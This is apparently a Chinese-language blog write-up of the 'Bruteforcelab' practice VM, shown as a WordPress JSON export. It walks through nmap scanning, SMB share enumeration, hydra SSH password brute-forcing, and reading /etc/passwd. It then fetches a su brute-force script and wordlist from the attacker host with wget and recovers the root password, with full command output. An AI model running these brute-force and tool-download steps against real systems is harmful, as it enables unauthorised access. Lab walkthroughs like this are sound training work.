04:31\nCompleted Parallel DNS resolution of 1 host. at 04:31, 0.01s elapsed\nDNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]\nInitiating Connect Scan at 04:31\nScanning LAB-Bruteforce (192.168.0.157) [4 ports]\nDiscovered open port 22\/tcp on 192.168.0.157\nDiscovered open port 10000\/tcp on 192.168.0.157\nDiscovered open port 19000\/tcp on 192.168.0.157\nDiscovered open port 19222\/tcp on 192.168.0.157\nCompleted Connect Scan at 04:31, 0.00s elapsed (4 total ports)\nInitiating Service scan at 04:31\nScanning 4 services on LAB-Bruteforce (192.168.0.157)\nCompleted Service scan at 04:31, 53.63s elapsed (4 services on 1 host)\nNSE: Script scanning 192.168.0.157.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 04:31\nCompleted NSE at 04:32, 30.02s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 04:32\nCompleted NSE at 04:32, 0.01s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 04:32\nCompleted NSE at 04:32, 0.00s elapsed\nNmap scan report for LAB-Bruteforce (192.168.0.157)\nHost is up, received conn-refused (0.00055s latency).\nScanned at 2024-04-23 04:31:03 EDT for 83s\n\nPORT STATE SERVICE REASON VERSION\n22\/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)\n| ssh-hostkey: \n| 3072 1c:db:f8:92:72:c4:72:dc:24:c3:ca:7c:80:eb:f4:81 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnDkPWhcxcSZLNBWkDl1eizSw9a6bUKoMUvNUJCznGf8ExJ0o+7tPsdJsNDObU0Ap\/dX6apZ2aBslLi\/BJ0bMPCDF0Ovp1QErgm2PtgxK3W0VUR3tvXIKv8gwYpEQgpwhmF+bWrbEBFdLK\/rtBDLFXiTYqYOMo7hriswsBY6\/eLJo7roRvVDJmg0aDwTMs6cjSGVWTBkRipQrRfggl53gpnFxg90yiibGs2JT6GSOxGalVLotOMBl+pGGkxStgcVYA11LK6zNY2kCfmuh+n\/DRftdMdNl+vnpUOaXo8oX0Wk0Zqd2YNjlUYA2yjZVMMUjf6ORZkjYe3wc5SADkQvUZTuyuWS9DKFxS6Y0wEBIdVdP6fj4aXC1cEkYq3hdSr2B8LIs7BBy1WWdordqdU5MAP3hw+VtFGIpLRRl9hHPYVri7qGw\/dmnJKzNa5BUosHAebgr56WKTKxvbCf+Wn6KFbJEphGS\/hEjvOcMwpIwYQbjg9V7y+HPL47vL\/huIpBU=\n| 256 7f:30:33:e2:f4:0d:87:41:5e:a3:24:de:57:c6:73:8b (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKDLqka8T9BdXD7sEjNdCNvaWN2nI97c0JiyTL\/WQ+oCrt2oc6umIuUSbCX2L7yzX1Q2sirMixb\/EFMc\/ASYE7E=\n| 256 9a:9e:2f:53:e0:2b:b4:98:3f:34:95:53:56:87:a4:76 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK94OoXaK+BKuXw2YeGlhV8wIhcK5uhHJoTWStinBxAY\n10000\/tcp open http syn-ack MiniServ 2.021 (Webmin httpd)\n|_http-favicon: Unknown favicon MD5: 9244C0A07ADF94BFD888D463CF479411\n| http-methods: \n|_ Supported Methods: GET HEAD POST OPTIONS\n|_http-title: 200 — Document follows\n19000\/tcp open netbios-ssn syn-ack Samba smbd 4.6.2\n19222\/tcp open netbios-ssn syn-ack Samba smbd 4.6.2\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 04:32\nCompleted NSE at 04:32, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 04:32\nCompleted NSE at 04:32, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 04:32\nCompleted NSE at 04:32, 0.00s elapsed\nRead data files from: \/usr\/bin\/..\/share\/nmap\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 83.95 seconds<\/code><\/pre>\n\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n\u8e29\u70b9<\/h3>\n
<\/div><\/p>\n\u654f\u611f\u7aef\u53e3<\/h3>\n
\u53d1\u73b019000<\/code>\u548c19222<\/code>\u90fd\u5f00\u653e\u4e86smb\u670d\u52a1\uff0c\u5c1d\u8bd5\u67e5\u770b\u4e00\u4e0b\uff1a<\/p>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ smbclient -L \/\/192.168.0.157\/\/ -p 19000\nPassword for [WORKGROUP\\kali]:\n\n Sharename Type Comment\n --------- ---- -------\n print$ Disk Printer Drivers\n Test Disk \n IPC$ IPC IPC Service (Samba 4.13.13-Debian)\nReconnecting with SMB1 for workgroup listing.\ndo_connect: Connection to 192.168.0.157 failed (Error NT_STATUS_CONNECTION_REFUSED)\nUnable to connect with SMB1 -- no workgroup available<\/code><\/pre>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ smbclient -L \/\/192.168.0.157\/\/ -p 19222\nPassword for [WORKGROUP\\kali]:\n\n Sharename Type Comment\n --------- ---- -------\n print$ Disk Printer Drivers\n Test Disk \n IPC$ IPC IPC Service (Samba 4.13.13-Debian)\nReconnecting with SMB1 for workgroup listing.\ndo_connect: Connection to 192.168.0.157 failed (Error NT_STATUS_CONNECTION_REFUSED)\nUnable to connect with SMB1 -- no workgroup available<\/code><\/pre>\n\u5c1d\u8bd5\u8fde\u63a5\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ smbclient \/\/192.168.0.157\/test -p 19000 \nPassword for [WORKGROUP\\kali]:\nTry "help" to get a list of possible commands.\nsmb: \\> ls -la\nNT_STATUS_NO_SUCH_FILE listing \\-la\nsmb: \\> ls\n . D 0 Sun Mar 26 15:06:46 2023\n .. D 0 Sun Mar 26 14:12:02 2023\n README.txt N 115 Sun Mar 26 15:06:46 2023\n\n 9232860 blocks of size 1024. 3052692 blocks available\nsmb: \\> get README.txt \ngetting file \\README.txt of size 115 as README.txt (5.1 KiloBytes\/sec) (average 5.1 KiloBytes\/sec)\nsmb: \\> exit\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ cat README.txt \nHey Andrea listen to me, I'm going to take a break. I think I've setup this prototype for the SMB server correctly\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ smbclient \/\/192.168.0.157\/test -p 19222\nPassword for [WORKGROUP\\kali]:\nTry "help" to get a list of possible commands.\nsmb: \\> ls\n . D 0 Sun Mar 26 15:06:46 2023\n .. D 0 Sun Mar 26 14:12:02 2023\n README.txt N 115 Sun Mar 26 15:06:46 2023\n\n 9232860 blocks of size 1024. 3052692 blocks available\nsmb: \\> get README.txt \ngetting file \\README.txt of size 115 as README.txt (56.1 KiloBytes\/sec) (average 56.2 KiloBytes\/sec)\nsmb: \\> exit\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ cat README.txt \nHey Andrea listen to me, I'm going to take a break. I think I've setup this prototype for the SMB server correctly<\/code><\/pre>\n\u7206\u7834ssh<\/h3>\n
\u83b7\u53d6\u5230\u4e86\u7528\u6237Andrea<\/code>\uff0c\u5c1d\u8bd5\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Bruteforcelab]\n\u2514\u2500$ hydra -l andrea -P \/usr\/share\/wordlists\/rockyou.txt ssh:\/\/192.168.0.157:22 \nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2024-04-23 04:55:42\n[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1\/p:14344399), ~896525 tries per task\n[DATA] attacking ssh:\/\/192.168.0.157:22\/\n[STATUS] 138.00 tries\/min, 138 tries in 00:01h, 14344263 to do in 1732:24h, 14 active\n[STATUS] 98.67 tries\/min, 296 tries in 00:03h, 14344105 to do in 2422:60h, 14 active\n[STATUS] 92.29 tries\/min, 646 tries in 00:07h, 14343755 to do in 2590:28h, 14 active\n[22][ssh] host: 192.168.0.157 login: andrea password: awesome\n1 of 1 target successfully completed, 1 valid password found\n[WARNING] Writing restore file because 2 final worker threads did not complete until end.\n[ERROR] 2 targets did not resolve or could not be connected\n[ERROR] 0 target did not complete\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2024-04-23 05:05:24<\/code><\/pre>\n\u5c1d\u8bd5\u8fdb\u884c\u8fde\u63a5\uff1a<\/p>\n
<\/div><\/p>\n\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\nandrea@LAB-Bruteforce:~$ ls -la\ntotal 40\ndrwxr-xr-x 5 andrea andrea 4096 Mar 26 2023 .\ndrwxr-xr-x 4 root root 4096 Mar 26 2023 ..\n-rw------- 1 andrea andrea 583 Mar 26 2023 .bash_history\n-rw-r--r-- 1 andrea andrea 220 Mar 26 2023 .bash_logout\n-rw-r--r-- 1 andrea andrea 3526 Mar 26 2023 .bashrc\ndrwxr-xr-x 4 andrea andrea 4096 Mar 26 2023 .cache\ndrwxr-xr-x 5 andrea andrea 4096 Mar 26 2023 .config\ndrwxr-xr-x 3 andrea andrea 4096 Mar 26 2023 .local\n-rw-r--r-- 1 andrea andrea 807 Mar 26 2023 .profile\n-rw-r--r-- 1 andrea andrea 33 Mar 26 2023 user.txt\nandrea@LAB-Bruteforce:~$ cat user.txt \nd5eb7d8b6f57c295e0bedf7eef531360\nandrea@LAB-Bruteforce:~$ sudo -l\n[sudo] password for andrea: \nSorry, user andrea may not run sudo on Lab-Bruteforce.\nandrea@LAB-Bruteforce:~$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\ntss:x:103:109:TPM software stack,,,:\/var\/lib\/tpm:\/bin\/false\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:105:111:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\navahi-autoipd:x:106:115:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin\nusbmux:x:107:46:usbmux daemon,,,:\/var\/lib\/usbmux:\/usr\/sbin\/nologin\nrtkit:x:108:116:RealtimeKit,,,:\/proc:\/usr\/sbin\/nologin\ndnsmasq:x:109:65534:dnsmasq,,,:\/var\/lib\/misc:\/usr\/sbin\/nologin\navahi:x:110:117:Avahi mDNS daemon,,,:\/run\/avahi-daemon:\/usr\/sbin\/nologin\nspeech-dispatcher:x:111:29:Speech Dispatcher,,,:\/run\/speech-dispatcher:\/bin\/false\npulse:x:112:119:PulseAudio daemon,,,:\/run\/pulse:\/usr\/sbin\/nologin\nsaned:x:113:122::\/var\/lib\/saned:\/usr\/sbin\/nologin\ncolord:x:114:123:colord colour management daemon,,,:\/var\/lib\/colord:\/usr\/sbin\/nologin\ngeoclue:x:115:124::\/var\/lib\/geoclue:\/usr\/sbin\/nologin\nDebian-gdm:x:116:125:Gnome Display Manager:\/var\/lib\/gdm3:\/bin\/false\nmattia:x:1000:1000:mattia,,,:\/home\/mattia:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nsshd:x:117:65534::\/run\/sshd:\/usr\/sbin\/nologin\nandrea:x:1001:1001:,,,:\/home\/andrea:\/bin\/bash\nandrea@LAB-Bruteforce:~$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/libexec\/polkit-agent-helper-1\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/xorg\/Xorg.wrap\n\/usr\/sbin\/pppd\n\/usr\/bin\/pkexec\n\/usr\/bin\/su\n\/usr\/bin\/chfn\n\/usr\/bin\/sudo\n\/usr\/bin\/mount\n\/usr\/bin\/passwd\n\/usr\/bin\/newgrp\n\/usr\/bin\/umount\n\/usr\/bin\/gpasswd\n\/usr\/bin\/chsh\n\/usr\/bin\/fusermount3\n\/usr\/bin\/ntfs-3g\nandrea@LAB-Bruteforce:~$ \/usr\/sbin\/getcap -r \/ 2>\/dev\/null\n\/usr\/lib\/x86_64-linux-gnu\/gstreamer1.0\/gstreamer-1.0\/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep\n\/usr\/bin\/gnome-keyring-daemon cap_ipc_lock=ep\n\/usr\/bin\/ping cap_net_raw=ep\nandrea@LAB-Bruteforce:~$ cd ..\nandrea@LAB-Bruteforce:\/home$ ls -la\ntotal 16\ndrwxr-xr-x 4 root root 4096 Mar 26 2023 .\ndrwxr-xr-x 19 root root 4096 Mar 26 2023 ..\ndrwxr-xr-x 5 andrea andrea 4096 Mar 26 2023 andrea\ndrwxr-xr-x 17 mattia mattia 4096 Mar 26 2023 mattia\nandrea@LAB-Bruteforce:\/home$ cd mattia\/\nandrea@LAB-Bruteforce:\/home\/mattia$ ls -la\ntotal 84\ndrwxr-xr-x 17 mattia mattia 4096 Mar 26 2023 .\ndrwxr-xr-x 4 root root 4096 Mar 26 2023 ..\n-rw------- 1 mattia mattia 619 Mar 26 2023 .bash_history\n-rw-r--r-- 1 mattia mattia 220 Mar 26 2023 .bash_logout\n-rw-r--r-- 1 mattia mattia 3526 Mar 26 2023 .bashrc\ndrwx------ 12 mattia mattia 4096 Mar 26 2023 .cache\ndrwx------ 13 mattia mattia 4096 Mar 26 2023 .config\ndrwx------ 2 mattia mattia 4096 Mar 26 2023 .gnupg\ndrwx------ 3 mattia mattia 4096 Mar 26 2023 .local\ndrwx------ 4 mattia mattia 4096 Mar 26 2023 .mozilla\n-rw-r--r-- 1 mattia mattia 807 Mar 26 2023 .profile\ndrwx------ 2 mattia mattia 4096 Mar 26 2023 .ssh\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Desktop\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Documents\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Downloads\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Music\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Pictures\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Public\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Templates\ndrwxr-xr-x 2 mattia mattia 4096 Mar 26 2023 Videos\ndrwxr-xr-x 2 root root 4096 Mar 26 2023 testFolder<\/code><\/pre>\n\u5c1d\u8bd5\u7206\u7834\u672c\u5730\u7528\u6237\u7684\u5bc6\u7801<\/h3>\n
\u4e4b\u524d\u8bb0\u5f97\u6709\u4e2a\u9776\u673a\u662f\u8fd9\u4e48\u5e72\u7684\uff0c\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
andrea@LAB-Bruteforce:\/tmp$ wget http:\/\/192.168.0.143:8888\/suBF.sh\n--2024-04-23 11:11:55-- http:\/\/192.168.0.143:8888\/suBF.sh\nConnecting to 192.168.0.143:8888... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 2340 (2.3K) [text\/x-sh]\nSaving to: \u2018suBF.sh\u2019\n\nsuBF.sh 100%[=========================================================================>] 2.29K --.-KB\/s in 0.01s \n\n2024-04-23 11:11:55 (212 KB\/s) - \u2018suBF.sh\u2019 saved [2340\/2340]\n\nandrea@LAB-Bruteforce:\/tmp$ chmod +x suBF.sh \nandrea@LAB-Bruteforce:\/tmp$ wget http:\/\/192.168.0.143:8888\/top12000.txt\n--2024-04-23 11:12:15-- http:\/\/192.168.0.143:8888\/top12000.txt\nConnecting to 192.168.0.143:8888... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 100205 (98K) [text\/plain]\nSaving to: \u2018top12000.txt\u2019\n\ntop12000.txt 100%[=========================================================================>] 97.86K 176KB\/s in 0.6s \n\n2024-04-23 11:12:16 (176 KB\/s) - \u2018top12000.txt\u2019 saved [100205\/100205]\n\nandrea@LAB-Bruteforce:\/tmp$ .\/suBF.sh \nThis tool bruteforces a selected user using binary su and as passwords: null password, username, reverse username and a wordlist (top12000.txt).\nYou can specify a username using -u <username> and a wordlist via -w <wordlist>.\nBy default the BF default speed is using 100 su processes at the same time (each su try last 0.7s and a new su try in 0.007s) ~ 143s to complete\nYou can configure this times using -t (timeout su process) ans -s (sleep between 2 su processes).\nFastest recommendation: -t 0.5 (minimun acceptable) and -s 0.003 ~ 108s to complete\n\nExample: .\/suBF.sh -u <USERNAME> [-w top12000.txt] [-t 0.7] [-s 0.007]\n\nTHE USERNAME IS CASE SENSITIVE AND THIS SCRIPT DOES NOT CHECK IF THE PROVIDED USERNAME EXIST, BE CAREFUL\n\nandrea@LAB-Bruteforce:\/tmp$ .\/suBF.sh -u root \n [+] Bruteforcing root...\n^C\nandrea@LAB-Bruteforce:\/tmp$ .\/suBF.sh -u root -t 0.5 -s 0.003\n [+] Bruteforcing root...\nWordlist exhausted<\/code><\/pre>\n\u67e5\u770b\u5e08\u5085\u4eec\u7684wp\uff0c\u53d1\u73b0\u662f\u7528\u4e86\u4e00\u4e2a\u53eb\u505asucrack<\/code>\u7684\u5de5\u5177\uff0c\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\ngit clone https:\/\/github.com\/hemp3l\/sucrack.git\ncd sucrack\n.\/configure\nsudo make\nsudo make install\ncd src\npython3 -m http.server 8888<\/code><\/pre>\nandrea@LAB-Bruteforce:\/tmp$ wget http:\/\/192.168.0.143:8888\/sucrack\n--2024-04-23 11:24:06-- http:\/\/192.168.0.143:8888\/sucrack\nConnecting to 192.168.0.143:8888... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 72376 (71K) [application\/octet-stream]\nSaving to: \u2018sucrack\u2019\n\nsucrack 100%[=========================================================================>] 70.68K --.-KB\/s in 0s \n\n2024-04-23 11:24:06 (192 MB\/s) - \u2018sucrack\u2019 saved [72376\/72376]\n\nandrea@LAB-Bruteforce:\/tmp$ chmod +x sucrack\nandrea@LAB-Bruteforce:\/tmp$ .\/su\nsuBF.sh sucrack \nandrea@LAB-Bruteforce:\/tmp$ .\/su\nsuBF.sh sucrack \nandrea@LAB-Bruteforce:\/tmp$ .\/su\nsuBF.sh sucrack \nandrea@LAB-Bruteforce:\/tmp$ .\/sucrack \n.\/sucrack: \/lib\/x86_64-linux-gnu\/libc.so.6: version `GLIBC_2.33' not found (required by .\/sucrack)\n.\/sucrack: \/lib\/x86_64-linux-gnu\/libc.so.6: version `GLIBC_2.34' not found (required by .\/sucrack)<\/code><\/pre>\n\u989d\u3002<\/p>\n
\u53ea\u80fd\u518d\u7528\u524d\u9762\u7684\u90a3\u4e2a\u4e86\uff0c\u6309\u7406\u6765\u8bf4\u5bc6\u7801\u4e5f\u5728\u5176\u4e2d\u7684\uff0c\u6ca1\u7206\u7834\u51fa\u6765\u53ef\u80fd\u662f\u592a\u5feb\u4e86\u3002<\/p>\n
andrea@LAB-Bruteforce:\/tmp$ grep "1998" top12000.txt \n1998\nandrea@LAB-Bruteforce:\/tmp$ .\/suBF.sh -u root -w top12000.txt -t 0.7 -s 0.007\n [+] Bruteforcing root...\n You can login as root using password: 1998<\/code><\/pre>\n\u770b\u6765\u8fd8\u662f\u4e0d\u80fd\u592a\u6025\u529f\u8fd1\u5229\u554a\uff01\u5c1d\u8bd5\u4f7f\u7528\u5bc6\u78011998<\/code>\u8fdb\u884c\u767b\u5f55\uff01<\/p>\nandrea@LAB-Bruteforce:~$ su root\nPassword: \nroot@LAB-Bruteforce:\/home\/andrea# cd \/root\nroot@LAB-Bruteforce:~# ls -la\ntotal 44\ndrwx------ 5 root root 4096 Mar 26 2023 .\ndrwxr-xr-x 19 root root 4096 Mar 26 2023 ..\n-rw------- 1 root root 2186 Mar 26 2023 .bash_history\n-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc\ndrwx------ 3 root root 4096 Mar 26 2023 .cache\ndrwxr-xr-x 3 root root 4096 Mar 26 2023 .local\n-rw-r--r-- 1 root root 161 Jul 9 2019 .profile\ndrwxr-xr-x 2 root root 4096 Mar 26 2023 .tmp\n-rw-r--r-- 1 root root 51 Mar 26 2023 root.txt\n-r-xr-xr-x 1 root root 7244 Mar 26 2023 vboxpostinstall.sh\nroot@LAB-Bruteforce:~# cat root.txt \nCongratulations.\n\nd2f74ec1ca3e40f6fa07f62d42eb9ea5\nroot@LAB-Bruteforce:~# head vboxpostinstall.sh \n#!\/bin\/bash\n## @file\n# Post installation script template for debian-like distros.\n#\n# Note! This script expects to be running w\/o chroot.\n# Note! When using ubiquity, this is run after installation logs have\n# been copied to \/var\/log\/installation.\n#\n\n#\nroot@LAB-Bruteforce:~# cat .bash_history \nsudo apt install openssh-server\nclear\nssh\nifconfig\nipconfig\nsudo apt install net-tools\nclear<\/code><\/pre>\n\u62ff\u5230flag\u3002\u3002\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
Bruteforcelab \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Brutefor […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-613","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/613","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=613"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/613\/revisions"}],"predecessor-version":[{"id":614,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/613\/revisions\/614"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=613"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=613"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=613"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
![\"image-20240423163715248\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231740715.png\")
<\/div><\/p>\n![\"image-20240423165706006\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231740716.png\")
<\/div><\/p>\n